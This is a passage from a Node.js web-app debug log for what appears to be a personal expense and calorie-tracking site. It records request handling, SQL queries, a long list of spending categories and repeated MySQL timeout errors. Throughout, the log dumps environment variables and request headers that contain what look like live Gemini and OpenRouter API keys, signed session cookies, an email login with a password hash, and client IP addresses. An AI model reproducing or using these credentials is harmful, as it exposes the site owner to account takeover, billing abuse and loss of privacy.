    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '98.86.132.187',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T14:16:13.187Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: false,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '98.86.132.187',
    REQUEST_PROTOCOL: 'http',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'http://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '98.86.132.187',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-22 14:25:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-22 14:25:43' as DATETIME)"
}
2025-12-22T14:50:11.075Z server-connect:router Serving templateView /
2025-12-22T14:50:11.075Z server-connect:app Executing action step identify
2025-12-22T14:50:11.075Z server-connect:app options: { provider: 'security' }
2025-12-22T14:50:11.127Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-22T14:50:11.130Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-22T14:50:11.177Z server-connect:output identity: 1
2025-12-22T14:50:11.177Z server-connect:app Executing action step restrict
2025-12-22T14:50:11.177Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T14:50:11.178Z server-connect:output restrict: undefined
2025-12-22T14:50:11.178Z server-connect:app Executing action step restrict
2025-12-22T14:50:11.178Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T14:50:11.178Z server-connect:output restrict: undefined
2025-12-22T14:50:11.178Z server-connect:router Render template layouts/main
2025-12-22T14:50:11.178Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A1SXn3YRCbSfsc18lVTI0sA%3D%3D.JmUkRLCxNuxHNlf01cqT1n4RC42vr%2FOZqPFKwwn2ByNjkddF%2Bhl13sx9yABJQzln4vsh2KXSTAfYMKwzQOnzxGKRAPsc1IOCXK4LJK3Qt7IbP21R7oCIyzCSVn7WkrFome14nxs7gPcL5TkYcxqUDOkf7XEcPV8APNQStFTJvgA%3D.fdWnWvBctrLnmI9WJz5FM%2FynULUKUGx%2BE5B%2B8W%2BavVo',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T14:50:11.075Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A1SXn3YRCbSfsc18lVTI0sA%3D%3D.JmUkRLCxNuxHNlf01cqT1n4RC42vr%2FOZqPFKwwn2ByNjkddF%2Bhl13sx9yABJQzln4vsh2KXSTAfYMKwzQOnzxGKRAPsc1IOCXK4LJK3Qt7IbP21R7oCIyzCSVn7WkrFome14nxs7gPcL5TkYcxqUDOkf7XEcPV8APNQStFTJvgA%3D.fdWnWvBctrLnmI9WJz5FM%2FynULUKUGx%2BE5B%2B8W%2BavVo',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-22 14:50:12' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-22 14:50:12' as DATETIME)"
}
2025-12-22T14:50:14.485Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-22T14:50:14.486Z server-connect:app Executing action step identify
2025-12-22T14:50:14.486Z server-connect:app options: { provider: 'security' }
2025-12-22T14:50:14.486Z server-connect:output identity: 1
2025-12-22T14:50:14.486Z server-connect:app Executing action step restrict
2025-12-22T14:50:14.486Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T14:50:14.488Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-22T14:50:14.488Z server-connect:output restrict: undefined
2025-12-22T14:50:14.488Z server-connect:app Executing action step select
2025-12-22T14:50:14.488Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-22T14:50:14.489Z server-connect:app Executing action step identify
2025-12-22T14:50:14.489Z server-connect:app options: { provider: 'security' }
2025-12-22T14:50:14.489Z server-connect:output identity: 1
2025-12-22T14:50:14.489Z server-connect:app Executing action step restrict
2025-12-22T14:50:14.489Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T14:50:14.494Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-22T14:50:14.495Z server-connect:output restrict: undefined
2025-12-22T14:50:14.495Z server-connect:app Executing action step single
2025-12-22T14:50:14.495Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-22T14:50:14.497Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-22T14:50:15.636Z server-connect:router Serving templateView /calorie-tracker
2025-12-22T14:50:15.636Z server-connect:app Executing action step identify
2025-12-22T14:50:15.636Z server-connect:app options: { provider: 'security' }
2025-12-22T14:50:15.636Z server-connect:output identity: 1
2025-12-22T14:50:15.636Z server-connect:app Executing action step restrict
2025-12-22T14:50:15.636Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T14:50:15.637Z server-connect:output restrict: undefined
2025-12-22T14:50:15.637Z server-connect:router Render template calorie-tracker
2025-12-22T14:50:15.637Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AUcZynkQaBcinfd6c8LWexQ%3D%3D.pUHSHvyZiGoVnj7LwqpjvrhDuEKW4qnU3t4u6SZrJYqeq5VzEnw2Xfj0%2FgMJ3gw624NbWwH0FswxUlJcosN11qmgCk%2FP7I5wyaZGGfhZ4WZJMW6pyfD%2BUB2FEssSTdCtBVmkKJtdeQxWBW%2BL54VnKp7gQVB5SOt%2BZPq75yMtNXI%3D.gQF4D%2Fv%2Fmj2pU55wk28S6DlbNlSkSMEKhmpD5zakkzg; your_r_git.sid=s%3AgwsbyfgMgLliY3GZNOiekTMyL77HvovV.JKK23g0xbj1a2NbU9SVyMbOPi9tBBVdzx5K1pnGj5%2FI',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T14:50:11.181Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AUcZynkQaBcinfd6c8LWexQ%3D%3D.pUHSHvyZiGoVnj7LwqpjvrhDuEKW4qnU3t4u6SZrJYqeq5VzEnw2Xfj0%2FgMJ3gw624NbWwH0FswxUlJcosN11qmgCk%2FP7I5wyaZGGfhZ4WZJMW6pyfD%2BUB2FEssSTdCtBVmkKJtdeQxWBW%2BL54VnKp7gQVB5SOt%2BZPq75yMtNXI%3D.gQF4D%2Fv%2Fmj2pU55wk28S6DlbNlSkSMEKhmpD5zakkzg; your_r_git.sid=s%3AgwsbyfgMgLliY3GZNOiekTMyL77HvovV.JKK23g0xbj1a2NbU9SVyMbOPi9tBBVdzx5K1pnGj5%2FI',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-22T14:50:15.865Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-22T14:50:15.866Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-22T14:50:15.866Z server-connect:app Executing action step identify
2025-12-22T14:50:15.866Z server-connect:app options: { provider: 'security' }
2025-12-22T14:50:15.867Z server-connect:output identity: 1
2025-12-22T14:50:15.867Z server-connect:app Executing action step restrict
2025-12-22T14:50:15.867Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T14:50:15.867Z server-connect:app Executing action step identify
2025-12-22T14:50:15.867Z server-connect:app options: { provider: 'security' }
2025-12-22T14:50:15.867Z server-connect:output identity: 1
2025-12-22T14:50:15.867Z server-connect:app Executing action step restrict
2025-12-22T14:50:15.867Z server-connect:app options: { provider: 'security' }
2025-12-22T14:50:15.867Z server-connect:output restrict: undefined
2025-12-22T14:50:15.867Z server-connect:app Executing action step single
2025-12-22T14:50:15.867Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
